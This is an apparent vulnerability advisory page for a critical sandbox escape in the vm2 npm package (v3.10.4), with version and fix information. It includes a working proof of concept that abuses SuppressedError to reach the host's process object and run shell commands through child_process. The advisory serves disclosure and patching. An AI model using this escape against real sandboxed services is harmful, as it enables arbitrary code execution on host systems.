VDB
KO
CRITICAL 9.8

GHSA-55hx-c926-fr95

VM2 Has a Sandbox Escape Issue via SuppressedError

Details

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

### PoC ```js const { VM } = require("vm2");

const vm = new VM();

vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / vm2
Introduced in: 0 Fixed in: 3.11.0
Fix npm install vm2@3.11.0

References